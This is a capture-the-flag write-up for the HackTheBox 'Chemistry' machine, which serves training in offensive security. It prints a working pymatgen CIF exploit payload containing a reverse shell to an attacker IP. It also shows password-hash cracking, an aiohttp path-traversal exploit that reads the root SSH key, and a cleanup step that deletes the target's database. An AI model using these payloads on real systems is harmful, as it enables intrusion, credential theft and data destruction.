Post

HackTheBox Chemistry

Writeup for HackTheBox Chemistry

HackTheBox Chemistry

Machine Synopsis

Key exploitation techniques:

  • pymatgen RCE (CVE-2024-23346) via CIF file processing
  • SQLite database extraction and hash cracking
  • aiohttp Path Traversal (CVE-2024-23334)
  • Arbitrary file read for root SSH key

Enumeration

An nmap scan identified SSH (22/tcp) and an HTTP server on port 5000 running Werkzeug httpd 3.0.3 (Python 3.9.5).

1
2
3
4
5
6
7
8
9
10
11
❯ nmap -sC -sV -A 10.10.11.38

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)
|   256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)
|_  256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)
5000/tcp open  http    Werkzeug httpd 3.0.3 (Python 3.9.5)
|_http-server-header: Werkzeug/3.0.3 Python/3.9.5
|_http-title: Chemistry - Home

Accessing http://10.10.11.38:5000 presented a “CIF Analyzer” website. User registration and login were available.

webpage

user_dashboard

The site allowed uploading Crystallographic Information Files (CIF) and downloading an example.cif.

1
2
3
4
5
cat example.cif
data_Example
_cell_length_a    10.00000
_cell_length_b    10.00000
...

Exploitation: Pymatgen RCE (CVE-2024-23346)

Researching “CIF exploit” or “pymatgen RCE” quickly revealed CVE-2024-23346, a critical vulnerability in the pymatgen Python library affecting CIF file parsing, with a public Proof-of-Concept (PoC) available. The vulnerability allows arbitrary code execution via a specially crafted CIF file.

The provided PoC was adapted to include a reverse shell payload using os.system.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
cat vuln.cif
data_5yOhtAoR
_audit_creation_date            2018-06-08
_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"

loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c 'sh -i >& /dev/tcp/10.10.14.5/1234 0>&1\'");0,0,0'


_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "%  

A netcat listener was set up on the attacker machine.

1
2
❯ nc -nlvp 1234
listening on [any] 1234 ...

The vuln.cif file was uploaded via the CIF Analyzer website. Clicking “View” on the uploaded file triggered the RCE.

uploaded_vuln_cif

1
2
3
4
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.38] 48910
sh: 0: can't access tty; job control turned off
$ whoami
app

A shell was received as the app user. A proper PTY shell was spawned for better interaction.

1
2
$ python3 -c "import pty;pty.spawn('/bin/bash')"
app@chemistry:~$ 

Lateral Movement: Database Credentials

The app user shell was used to enumerate the filesystem for sensitive files.

SQLite Database Extraction

The instance directory was found, containing database.db.

1
2
3
app@chemistry:~$ cd instance
app@chemistry:~/instance$ ls
database.db

The database.db file was identified as a SQLite database. Its content was initially observed as binary data when cated directly.

1
2
app@chemistry:~/instance$ cat database.db
fKytableuseruserCREATE TABLE user (...); ...Mrosa63ed86ee9f624c7b14f1d4f43dc251a5'...

To properly extract the data, the database was downloaded to the attacker machine.

1
2
3
4
5
# On target: Set up a temporary HTTP server or use a transfer tool
app@chemistry:~/instance$ python3 -m http.server 8888 & 

# On attacker machine: Download the database
❯ wget http://10.10.11.38:8888/database.db -O database.db

The file was confirmed as a SQLite database.

1
2
❯ file database.db
database.db: SQLite 3.x database, last written using SQLite version 3031001, file counter 111, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 111

The database was dumped to a human-readable format using sqlite3.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ sqlite3 database.db .dump > database.dump
❯ cat database.dump
# ... (truncated)
CREATE TABLE user (
        id INTEGER NOT NULL,
        username VARCHAR(150) NOT NULL,
        password VARCHAR(150) NOT NULL,
        PRIMARY KEY (id),
        UNIQUE (username)
);
INSERT INTO user VALUES(1,'admin','2861debaf8d99436a10ed6f75a252abf');
INSERT INTO user VALUES(2,'app','197865e46b878d9e74a0346b6d59886a');
INSERT INTO user VALUES(3,'rosa','63ed86ee9f624c7b14f1d4f43dc251a5');
INSERT INTO user VALUES(4,'robert','02fcf7cfc10adc37959fb21f06c6b467');
# ... (truncated)

The database.dump revealed several usernames and MD5-like password hashes. The hash for user rosa was 63ed86ee9f624c7b14f1d4f43dc251a5.

Hash Cracking & SSH Access

The hash for rosa was cracked using an online service (e.g., CrackStation) or hashcat.

1
2
3
4
# Using hashcat:echo '63ed86ee9f624c7b14f1d4f43dc251a5' > rosa_hash.txt
❯ hashcat -a 0 -m 0 rosa_hash.txt /usr/share/wordlists/rockyou.txt
63ed86ee9f624c7b14f1d4f43dc251a5:unicorniosrosados

The password for rosa was unicorniosrosados.

SSH access was then established using these credentials.

1
2
3
4
5
6
❯ ssh rosa@10.10.11.38
rosa@10.10.11.38's password: unicorniosrosados
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-196-generic x86_64)
# ... (banner)
rosa@chemistry:~$ cat user.txt
cda063877762f1bb2f6da9f3f72ebd27

The user.txt flag was retrieved.

Privilege Escalation: AioHTTP Path Traversal

Privilege escalation was pursued by examining rosa’s permissions and running processes.

1
2
rosa@chemistry:~$ sudo -l
Sorry, user rosa may not run sudo on chemistry.

netstat -ano revealed a service listening on 127.0.0.1:8080.

1
2
3
4
rosa@chemistry:~$ netstat -ano
Proto Recv-Q Send-Q Local Address           Foreign Address         State       Timer
tcp        0      0 127.0.0.1:8080          0.0.0.0:* LISTEN      off (0.00/0/0)
# ... (truncated)

curl to localhost:8080 showed a “Site Monitoring” web application.

1
2
3
4
5
6
rosa@chemistry:~$ curl http://127.0.0.1:8080
<!DOCTYPE html>
<html lang="en">
<head>
    <title>Site Monitoring</title>
# ... (HTML content)

Further curl -v revealed the Server header: Python/3.9 aiohttp/3.9.1.

1
2
3
4
5
6
7
rosa@chemistry:~$ curl localhost:8080 -v
< HTTP/1.1 200 OK
< Content-Type: text/html; charset=utf-8
< Content-Length: 5971
< Date: Tue, 07 Jan 2025 02:51:53 GMT
< Server: Python/3.9 aiohttp/3.9.1
# ...

Exploiting AioHTTP Path Traversal (CVE-2024-23334)

Researching aiohttp/3.9.1 exploit identified CVE-2024-23334, a Path Traversal vulnerability allowing arbitrary file read through a specially crafted URL, specifically when serving static files. The vulnerability can be exploited by appending ../ sequences to access files outside the intended static directory.

A Python exploit script targeting this vulnerability was used. The script typically iterates through path traversal depths to find the correct file. The assets directory was identified as a potential static file serving location from the HTML output.

1
2
rosa@chemistry:~$ nano exploit.py # Pasted exploit code from GitHub
rosa@chemistry:~$ chmod +x exploit.py

The exploit.py script was executed from the rosa shell to read /root/root.txt. The base URL was http://localhost:8080, and the static directory was /assets.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
rosa@chemistry:~$ python3 exploit.py -u http://localhost:8080 -f /root/root.txt -d /assets
[+] Attempt 0
                    Payload: /assets/../root/root.txt
                    Status code: 404
[+] Attempt 1
                    Payload: /assets/../../root/root.txt
                    Status code: 404
[+] Attempt 2
                    Payload: /assets/../../../root/root.txt
                    Status code: 200
Respose:
eee0bb6ffb142045dbe8caf5d324f463 # Contents of root.txt

Exploit complete

To gain persistent root access, the /root/.ssh/id_rsa file was targeted.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
rosa@chemistry:~$ python3 exploit.py -u http://localhost:8080 -f /root/.ssh/id_rsa -d /assets
[+] Attempt 0
                    Payload: /assets/../root/.ssh/id_rsa
                    Status code: 404
[+] Attempt 1
                    Payload: /assets/../../root/.ssh/id_rsa
                    Status code: 404
[+] Attempt 2
                    Payload: /assets/../../../root/.ssh/id_rsa
                    Status code: 200
Respose:
-----BEGIN OPENSSH PRIVATE KEY-----
# ... (root SSH private key)
-----END OPENSSH PRIVATE KEY-----

Exploit complete

The root SSH private key was successfully retrieved.

Side note: I had an error when trying to SSH with the private key obtained.

1
2
3
  ❯ ssh root@10.10.11.38 -i id_rsa
  Load key "id_rsa": error in libcrypto
  root@10.10.11.38's password: 

Turns out you needed to add a trailing newline after -----END OPENSSH PRIVATE KEY----- to prevent this error.

1
2
3
4
5
6
chmod 600 id_rsa # Set correct permissions for the private key
❯ ssh -i id_rsa root@10.10.11.38
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-196-generic x86_64)
# ... (banner)
root@chemistry:~# whoami
root

Cleanup

To maintain operational security, any artifacts left on the system should be removed.

1
2
3
4
5
# On target machine (as root, if possible)
root@chemistry:~# rm /home/app/uploads/vuln.cif # Remove the initial malicious CIF file
root@chemistry:~# rm /home/app/instance/database.db # Consider if this was copied or if original should be left
# On attacker machinerm database.db rosa_hash.txt exploit.py id_rsa
This post is licensed under CC BY 4.0 by the author.